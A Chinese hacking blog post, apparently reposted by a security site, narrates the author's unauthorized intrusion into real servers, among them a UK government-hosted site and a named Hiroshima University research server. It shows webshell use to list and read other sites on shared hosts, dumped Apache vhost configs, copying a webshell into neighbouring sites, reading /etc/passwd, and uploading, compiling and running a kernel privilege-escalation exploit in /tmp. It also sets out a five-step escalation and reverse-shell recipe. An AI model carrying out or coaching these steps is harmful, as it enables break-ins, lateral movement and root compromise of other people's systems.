我其实并不精通Linux渗透,会的那丁点几乎都是跟小白学的,虽然学的很菜。 今天小白在群里发了一个英国的虚拟主机。很显然php的webshell没有权限,那么她是怎么拿到管理权限的?反弹连接呗。不过她说,对于Linux不 精通的人,她个人建议先从vi学起。当然了,现在她写的一些傻瓜化webshell有时一键就能搞定反弹连接。不过本章只讲,如何用vi来旁注服务器上的 其他网站。
一个实际例子(实际上小白用的方法比这个简单的简单多了,不过这篇我们从最菜的开始讲):
网站目录是:
1
|
/var/www/vhosts/XX.gov.uk/httpdocs/cms/assets
|
执行命令dir回显得到:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
Building Notice Fee.pdf
Building Notice Work Flow Process Diagram v2.2 (Pages 1 - 4) 22.01.07.pdf
CNC_BN_v27_01_10.pdf
Full Plans Fee rev.pdf
bullet.gif
editor_box_a.gif
editor_box_b.gif
gallery1
gallery2
imgshow.php
index.php
iwe_flash.swf
sound.mid
sound.wav
sound.wma
|
ok,这就是悲剧的前兆。继续dir /var/www/vhosts/回显得到无数的网站的目录名称,直接以XX.com、XX.uk命名,让后面的操作方便了不少。
挑选第一个网站:
1
|
dir /var/www/vhosts/www.91ri.org /httpdocs/
|
发现一个敏感的文件名contact.php
那么下面就是我们的关键人物,vi出场的时候了
说实话,vi虽然菜,但是参数我仍然没学精通。勉强看吧
1
|
vi /var/www/vhosts/acornworks.com/httpdocs/contact.php
|
可惜了,不是MySql的配置文件
1
2
3
4
5
6
7
8
9
|
“/var/www/vhosts/acornworks.com/httpdocs/contact.php”
<r/www/vhosts/acornworks.com/httpdocs/contact.php” [readonly][noeol] <?php
if (!isset($_SESSION)) [4;9H{ [5;9Hsession_start(); [6;9H}
$redirect = ”;
$mailto = ‘sales@acornworks.com’;
$subject = “acornworks.com“;
if (ereg($_SERVER[HTTP_HOST], $_SERVER[HTTP_REFERER])) [13;9H{
# [7Cif ($_SESSION[key] == sha1($_POST[security_code])) [15;9Hif (1 == 1) [16;17H{ [17;17H$email_body = ”; [19;17Hforeach ($_POST as $key => $value) [20;25H{ [21;25Hif (ereg(“field_“, $key)) [22;33H{ [23;33H$key = eregi_replace(“field_“, ““, $key); [1;1H [24;1H [?1l > [2J [?47l 8Vim: Error reading input, exiting...
Vim: Finished.
|
回去,继续dir和vi,读到MySql配置文件位置。
下节讲改目录、文件属性或者复制文件
国际上最通用的Linux虚拟主机搭建方式是这样的:
Linux操作系统+Apache网站容器+PHP脚+MySQL数据库
一 个服务器上的网站配置信息显然都储存在Apache的配置文件中。通常Apache会安装在Linux的这个目录下:/usr/local,其 Apache的conf配置文件也会在Apache的目录下,当然,也有的Apache配置文件会单独拿出来,放到例如/etc/httpd/conf /httpd.conf这样的地方。今天我就拿两则cent os系统来说明一下读取配置文件的相关内容。既然前面老大Mr.Cool做了一篇Linux文章了,为了配合其连续性,我最终还是把作者名改成。
第 一则是一个电脑学校自己搭建的虚拟主机。Apache没有安装在/usr/local这个目录下,实际上管理员还对Apache做了userdir的权 限设定,也就是说虽然是Linux+Apache的主机,但是无法直接读取虚拟主机目录以外的文件夹内容。好在exec和system还能用。
这样的话我就用ls命令列目录。
/usr目录翻遍没有找到Apache的踪迹。web的目录是/server
那么我就用ls列/server的目录,最后确定在这里:
1
|
ls /server/program
|
回显:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
apache
apr
apr-util
curl
freetype2
gd2
ImageMagick
jpeg6
libxml2
mysql
php
proftpd
subversion
zlib
|
是Apache目录,读取conf里面的配置文件:
1
|
cat /server/program/apache/conf/extra/httpd-vhosts.conf
|
得到回显如下(出于隐私保护的原则已隐藏处理):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
|
# Virtual Hosts
#
# If you want to maintain multiple domains/hostnames on your
# machine you can setup VirtualHost containers for them. Most configurations
# use only name-based virtual hosts so the server doesn’t need to worry about
# IP addresses. This is indicated by the asterisks in the directives below.
#
# Please see the documentation at
# <URL:http://httpd.apache.org/docs/2.2/vhosts/>
# for further details before you try to setup virtual hosts.
#
# You may use the command line option ‘-S’ to verify your virtual host
# configuration.
NameVirtualHost *:80
<VirtualHost *:80>
Options Includes None
DocumentRoot “/server/www/cnnb315″
ServerName www.cnnb315.com
ErrorLog “logs/cnnb315-1.com-error_log”
CustomLog “logs/cnnb315-1.com-access_log” common
php_admin_value open_basedir “/server/www/cnnb315:/tmp”
</VirtualHost>
<VirtualHost *:80>
Options Includes None
DocumentRoot “/server/www/cnnb315″
ServerName cnnb315.com
ErrorLog “logs/cnnb315-1.com-error_log”
CustomLog “logs/cnnb315-1.com-access_log” common
php_admin_value open_basedir “/server/www/cnnb315:/tmp”
</VirtualHost>
###### xiaofeicn.com Start ######
<VirtualHost *:80>
Options Includes None
ServerAdmin
DocumentRoot /server/www/xiaofeicn
ServerName xiaofeicn.com
php_admin_value open_basedir “/server/www/xiaofeicn/:/tmp/”
ErrorDocument 404 /404.php
## RewriteEngine on
## RewriteRule ^(.*)/list-([0-9]+)-([0-9]+).html$ $1/list.php?forum_id=$2&page=$3
## RewriteRule ^(.*)/detail-([0-9]+)-([0-9]+).html$ $1/detail.php?thread_id=$2&page=$3
ErrorLog logs/xiaofeicn.com-error_log
CustomLog logs/xiaofeicn.com-access_log common
</VirtualHost>
<VirtualHost *:80>
Options Includes None
ServerAdmin
DocumentRoot /server/www/xiaofeicn
ServerName www.xiaofeicn.com
php_admin_value open_basedir “/server/www/xiaofeicn/:/tmp/”
ErrorDocument 404 /404.php
## RewriteEngine on
## RewriteRule ^(.*)/list-([0-9]+)-([0-9]+).html$ $1/list.php?forum_id=$2&page=$3
## RewriteRule ^(.*)/detail-([0-9]+)-([0-9]+).html$ $1/detail.php?thread_id=$2&page=$3
ErrorLog logs/xiaofeicn-1.com-error_log
CustomLog logs/xiaofeicn-1.com-access_log common
</VirtualHost>
<VirtualHost *:80>
Options Includes None
ServerAdmin
DocumentRoot /server/www/file
ServerName file.xiaofeicn.com
php_admin_value open_basedir “/server/www/file/:/tmp/”
</VirtualHost>
<VirtualHost *:80>
Options Includes None
ServerAdmin
DocumentRoot /server/www/xiaofeicn/bbs
ServerName bbs.xiaofeicn.com
php_admin_value open_basedir “/server/www/xiaofeicn/bbs/:/tmp/”
RewriteEngine on
RewriteRule ^(.*)/list-([0-9]+)-([0-9]+).html$ $1/list.php?forum_id=$2&page=$3
RewriteRule ^(.*)/detail-([0-9]+)-([0-9]+).html$ $1/detail.php?thread_id=$2&page=$3
ErrorDocument 404 /404.php
</VirtualHost>
<VirtualHost *:80>
Options Includes None
ServerAdmin
DocumentRoot /server/www/xiaofeicn/blog
ServerName blog.xiaofeicn.com
RewriteEngine on
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
|
RewriteRule /([0-9a-zA-Z]+)([-0-9a-zA-Z]*)([0-9a-zA-Z]+)([/]?)$ /blog/index.php?enname=$1$2$3 [PT]
php_admin_value open_basedir “/server/www/xiaofeicn/blog/:/tmp/”
</VirtualHost>
<VirtualHost *:80>
Options Includes None
ServerAdmin
DocumentRoot /server/www/xiaofeicn/pw
ServerName pw.xiaofeicn.com
php_admin_value open_basedir “/server/www/xiaofeicn/pw/:/tmp/”
</VirtualHost>
<VirtualHost *:80>
Options Includes None
ServerAdmin
DocumentRoot /server/www/xiaofeicn/sh
ServerName sh.xiaofeicn.com
php_admin_value open_basedir “/server/www/xiaofeicn/sh/:/tmp/”
</VirtualHost>
<VirtualHost *:80>
Options Includes None
ServerAdmin
DocumentRoot /server/www/haocanmou
ServerName haocanmou.com
ErrorLog logs/haocanmou.com-error_log
CustomLog logs/haocanmou.com-access_log common
php_admin_value open_basedir “/server/www/haocanmou/:/tmp/”
</VirtualHost>
<VirtualHost *:80>
Options Includes None
ServerAdmin
DocumentRoot /server/www/haocanmou
ServerName www.haocanmou.com
ErrorLog logs/haocanmou-1.com-error_log
CustomLog logs/haocanmou-1.com-access_log common
php_admin_value open_basedir “/server/www/haocanmou/:/tmp/”
</VirtualHost>
<VirtualHost *:80>
Options Includes None
ServerAdmin
DocumentRoot /server/www/bwjy
ServerName bwjy.com
php_admin_value open_basedir “/server/www/bwjy/:/tmp/”
</VirtualHost>
<VirtualHost *:80>
Options Includes None
ServerAdmin
DocumentRoot /server/www/bwjy
ServerName www.bwjy.com
php_admin_value open_basedir “/server/www/bwjy/:/tmp/”
</VirtualHost>
<VirtualHost *:80>
Options Includes None
ServerAdmin
DocumentRoot /server/www/haorenq
ServerName haorenq.com
php_admin_value open_basedir “/server/www/haorenq/:/tmp/”
ErrorDocument 404 /404.php
<Directory “/server/www/haorenq”>
AllowOverride All
Options -Indexes FollowSymLinks
Order allow,deny
Allow from all
</Directory>
ErrorLog logs/haorenq-1.com-error_log
CustomLog logs/haorenq-1.com-access_log common
</VirtualHost>
<VirtualHost *:80>
Options Includes None
ServerAdmin
DocumentRoot /server/www/haorenq
ServerName www.haorenq.com
php_admin_value open_basedir “/server/www/haorenq/:/tmp/”
ErrorDocument 404 /404.php
<Directory “/server/www/haorenq”>
AllowOverride All
Options -Indexes FollowSymLinks
Order allow,deny
Allow from all
</Directory>
ErrorLog logs/haorenq-1.com-error_log
CustomLog logs/haorenq-1.com-access_log common
</VirtualHost>
<VirtualHost *:80>
ServerName haorenquan.com
RewriteEngine on
RewriteRule ^(.*)$ http://www.haorenq.com$1 [R=301,L]
</VirtualHost>
<VirtualHost *:80>
ServerName www.haorenquan.com
RewriteEngine on
RewriteRule ^(.*)$ http://www.haorenq.com$1 [R=301,L]
</VirtualHost>
###### xiaofeicn.com End ######
###### xm start ######
<VirtualHost *:80>
Options Includes None
ServerAdmin
DocumentRoot /server/www/xm/91lamp_file
ServerName file.91lamp.com
ErrorLog logs/file.91lamp-1.com-error_log
CustomLog logs/file.91lamp-1.com-access_log common
php_admin_value open_basedir “/server/www/xm/91lamp_file/:/tmp/”
</VirtualHost>
<VirtualHost *:80>
Options Includes None
ServerAdmin
DocumentRoot /server/www/xm/xingmo_net/cons
ServerName cons.xingmo.net
ErrorLog logs/xingmo-1.net-error_log
CustomLog logs/xingmo-1.net-access_log common
php_admin_value open_basedir “/server/www/xm/xingmo_net/cons/:/tmp/”
</VirtualHost>
<VirtualHost *:80>
Options Includes None
ServerAdmin
DocumentRoot /server/www/xm/beijingphp
ServerName beijingphp.com
ErrorLog logs/beijingphp-1.com-error_log
CustomLog logs/beijingphp-1.com-access_log common
php_admin_value open_basedir “/server/www/xm/beijingphp/:/tmp/”
</VirtualHost>
<VirtualHost *:80>
Options Includes None
ServerAdmin
DocumentRoot /server/www/xm/beijingphp
ServerName www.beijingphp.com
ErrorLog logs/beijingphp-1.com-error_log
CustomLog logs/beijingphp-1.com-access_log common
php_admin_value open_basedir “/server/www/xm/beijingphp/:/tmp/”
</VirtualHost>
<VirtualHost *:80>
Options Includes None
ServerAdmin
DocumentRoot /server/www/xm/xingmo_com
ServerName xingmo.com
ErrorLog logs/xingmo.com-error_log
CustomLog logs/xingmo.com-access_log common
php_admin_value open_basedir “/server/www/xm/xingmo_com/:/tmp/”
</VirtualHost>
<VirtualHost *:80>
Options Includes None
ServerAdmin
DocumentRoot /server/www/xm/xingmo_com
ServerName www.xingmo.com
ErrorLog logs/xingmo.com-error_log
CustomLog logs/xingmo.com-access_log common
php_admin_value open_basedir “/server/www/xm/xingmo_com/:/tmp/”
</VirtualHost>
<VirtualHost *:80>
Options Includes None
ServerAdmin
DocumentRoot /server/www/xm/xingmo_zhuozhou
ServerName zhuozhou.xingmo.com
ErrorLog logs/xingmo.com-error_log
CustomLog logs/xingmo.com-access_log common
php_admin_value open_basedir “/server/www/xm/xingmo_zhuozhou/:/tmp/”
</VirtualHost>
<VirtualHost *:80>
Options Includes None
ServerAdmin
DocumentRoot /server/www/xm/xingmo_com/bbs
ServerName bbs.xingmo.com
ErrorLog logs/xingmo.com-error_log
CustomLog logs/xingmo.com-access_log common
php_admin_value open_basedir “/server/www/xm/xingmo_com/bbs/:/tmp/”
RewriteEngine on
RewriteRule ^(.*)/list-([0-9]+)-([0-9]+).html$ $1/list.php?forum_id=$2&page=$3
RewriteRule ^(.*)/detail-([0-9]+)-([0-9]+).html$ $1/detail.php?thread_id=$2&page=$3
ErrorDocument 404 /404.php
</VirtualHost>
<VirtualHost *:80>
Options Includes None
ServerAdmin
DocumentRoot /server/www/xm/xingmo_com/blog
ServerName blog.xingmo.com
ErrorLog logs/xingmo.com-error_log
CustomLog logs/xingmo.com-access_log common
php_admin_value open_basedir “/server/www/xm/xingmo_com/blog/:/tmp/”
</VirtualHost>
###### xm end ######
|
为什么要看这个配置呢?
首先,既然是虚拟主机,那就先要搞明白服务器上都有什么网站吧,目录在哪里。实话说,这个服务器的管理员水平不赖,URLrewrite都配置上了 – –
好吧,人不能夸,一夸尾巴容易翘天上去,他的web目录设置的,相当乱。。。
其次,管理员设置了目录权限,无法直接访问其他目录,那么就用system或者exec来执行command line命令,例如ls,再例如。。。
1
|
cp -a /xxxx /xxxxxx
|
直接把webshell拷贝到目标网站的目录里。。。好邪恶。。。
好了,第二个是广岛大学研究所的一个服务器
这个大学的服务器依然是花了我不少时间去研究。。。研究所的目的难道就是让别人花老多时间去研究么。。。
服务器上PHP有执行command line的权限,也有直接读取其他目录文件的权限,独立服务器,权限比较宽松。这个大学的服务器上面,我搜索遍了,并没有找到Apache目录。显然我也没有找到配置文件。
原因是,我先入为主的认为Apache的配置文件应该在Apache目录下,没有找到Apache目录,自然找不到Apache的配置文件
其 实这是错误的想法,Apache的配置文件未必就在Apache的目录下,真正的conf配置目录被单独安置在:/etc/httpd这个文件夹里面。 VirtualHost的配置大同小异,我就不贴了。当然了,Apache的log也在这个httpd文件夹下,看着别人还在扫目录,而我已经进来 了。。。。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
91.198.57.14 - - [06/Apr/2011:02:19:58 +0900] “GET /phpmyadmin/scripts/setup.php HTTP/1.1″ 404 226
91.198.57.14 - - [06/Apr/2011:02:19:59 +0900] “GET /PMA/scripts/setup.php HTTP/1.1″ 404 219
91.198.57.14 - - [06/Apr/2011:02:19:59 +0900] “GET /pma/scripts/setup.php HTTP/1.1″ 404 219
91.198.57.14 - - [06/Apr/2011:02:19:59 +0900] “GET /phpMyAdmin/scripts/setup.php HTTP/1.1″ 404 226
91.198.57.14 - - [06/Apr/2011:02:19:59 +0900] “GET /mysql/scripts/setup.php HTTP/1.1″ 404 221
91.198.57.14 - - [06/Apr/2011:02:20:00 +0900] “POST /scripts/setup.php HTTP/1.1″ 404 215
91.198.57.14 - - [06/Apr/2011:02:20:00 +0900] “POST /web/scripts/setup.php HTTP/1.1″ 404 219
91.198.57.14 - - [06/Apr/2011:02:20:00 +0900] “POST /sql/scripts/setup.php HTTP/1.1″ 401 401
91.198.57.14 - - [06/Apr/2011:02:20:00 +0900] “POST /db/scripts/setup.php HTTP/1.1″ 404 218
91.198.57.14 - - [06/Apr/2011:02:20:00 +0900] “POST /admin/scripts/setup.php HTTP/1.1″ 404 221
91.198.57.14 - - [06/Apr/2011:02:20:00 +0900] “POST /phpmyadmin/scripts/setup.php HTTP/1.1″ 404 226
91.198.57.14 - - [06/Apr/2011:02:20:00 +0900] “POST /php/scripts/setup.php HTTP/1.1″ 404 219
91.198.57.14 - - [06/Apr/2011:02:20:00 +0900] “POST /PMA/scripts/setup.php HTTP/1.1″ 404 219
91.198.57.14 - - [06/Apr/2011:02:20:00 +0900] “POST /pma/scripts/setup.php HTTP/1.1″ 404 219
91.198.57.14 - - [06/Apr/2011:02:20:00 +0900] “POST /phpMyAdmin/scripts/setup.php HTTP/1.1″ 404 226
91.198.57.14 - - [06/Apr/2011:02:20:00 +0900] “POST /mysql/scripts/setup.php HTTP/1.1″ 404 221
|
德国的黑客好可爱。。。
本文没有什么特别的高深技术,无非是一点点个人经历的总结
一些人一直觉得Linux提权是一项高深技术,其实Linux提权并不神秘。总结其步骤,可以简单分为5步:
1,获取webshell
2,具有执行command line权限,并获取Linux的系统版本
3,上传与Linux系统版本对应的漏洞提权脚本至可写可执行的目录下
4,执行提权脚本和反弹连接脚本
5,远程使用command line控制机器
本文所采用的实例仍然是广岛大学研究所的服务器,但是目前为止我并没有提权成功,虽然不是一个成功的实例,但是文章的目的在于说明过程而非说明结果
广岛大学研究所的网站服务器架设环境是:
Cent OS + PHP + Apache + PsotgreSQL
当然这些并不重要,我获得了webshell,并且发现有exec和system函数的权限,这样就好办多了
首先,读取password文件:
1
|
cat /etc/passwd
|
获得:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
distcache:x:94:94:Distcache:/:/sbin/nologin
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
squid:x:23:23::/var/spool/squid:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
ope:x:500:500::/home/ope:/bin/bash
ntp:x:38:38::/etc/ntp:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
avahi-autoipd:x:100:104:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
|
除了root之外,有bash权限的shell分别有
数据库账户line32:postgres
管理员自己的账户line36:ope
Apache是nologin的shell,当然这个似乎并不影响什么,只是看一下而已
顺便w一下
1
2
3
|
10:45:41 up 71 days, 17:02, 1 user, load average: 2.00, 2.00, 2.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
ope tty1 - 26Jan11 71days 0.03s 0.03s -bash
|
好吧,那么踩点结束。开始正事
执行命令:
1
|
uname -a
|
回显:
1
|
Linux XXXXXXXX.hiroshima-u.ac.jp 2.6.18-164.15.1.el5PAE #1 SMP Wed Mar 17 12:14:29 EDT 2010 i686 i686 i386 GNU/Linux
|
2.6.18的内核,再看:
1
|
lsb_release -a
|
回显:
1
2
3
4
5
|
LSB Version: :core-3.1-ia32:core-3.1-noarch:graphics-3.1-ia32:graphics-3.1-noarch
Distributor ID: CentOS
Description: CentOS release 5.4 (Final)
Release: 5.4
Codename: Final
|
Cent OS 5.4的系统确实是2.6.18的内核。但是目前为止没有发现这个RedHat的系统有什么漏洞 – –
传了一个去年的2.6.18的提权脚本到/tmp目录
注意,一般来讲,提权脚本都是放在/tmp目录,原因很简单,目录简单,可写可执行~起名为:2618.c
好了,提权之前,这是一个c文件,是不能像rb或者pl那样直接脚本执行的,我们要先编译:
1
|
gcc -o /tmp/2618 /tmp/2618.c
|
这样就把/tmp/2618.c编译成了可以执行的文件/tmp/2618了
此时直接执行这个文件就行了
1
|
/tmp/2618
|
当然,回显提示是失败的
Diagnostic tool for public CVE-2010-3081 exploit — Ksplice, Inc.
(see http://www.ksplice.com/uptrack/cve-2010-3081)
$$$ Kernel release: 2.6.18-164.15.1.el5PAE
$$$ Backdoor in LSM (1/3): checking…not present.
$$$ Backdoor in timer_list_fops (2/3): not available.
$$$ Backdoor in IDT (3/3): checking…not present.
Your system is free from the backdoors that would be left in memory
by the published exploit for CVE-2010-3081.
当然,直接对RedHat发布的Linux系统版本进行内核提权显然不是明智的选择。我的思路是,查找系统中含有漏洞的软件、驱动等,用它们来提权。不幸的是我目前还没成功 – –
文章总结:提权脚本有两点要注意,gcc命令编译无法编译出脚本未必是系统的问题,可能是c脚本本身有问题。如果系统无法gcc出可执行的文件,可以在本地或者其他地方gcc出来,然后直接传上去,直接执行
link:http://hi.baidu.com/h4ckw0rld/blog/item/948a500b32d91b5b42a9ad4b.html
本文摘自网络由网络安全攻防研究室(www.91ri.org) 信息安全小组收集整理.转载本文请著名原文地址及原作者版权信息。
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号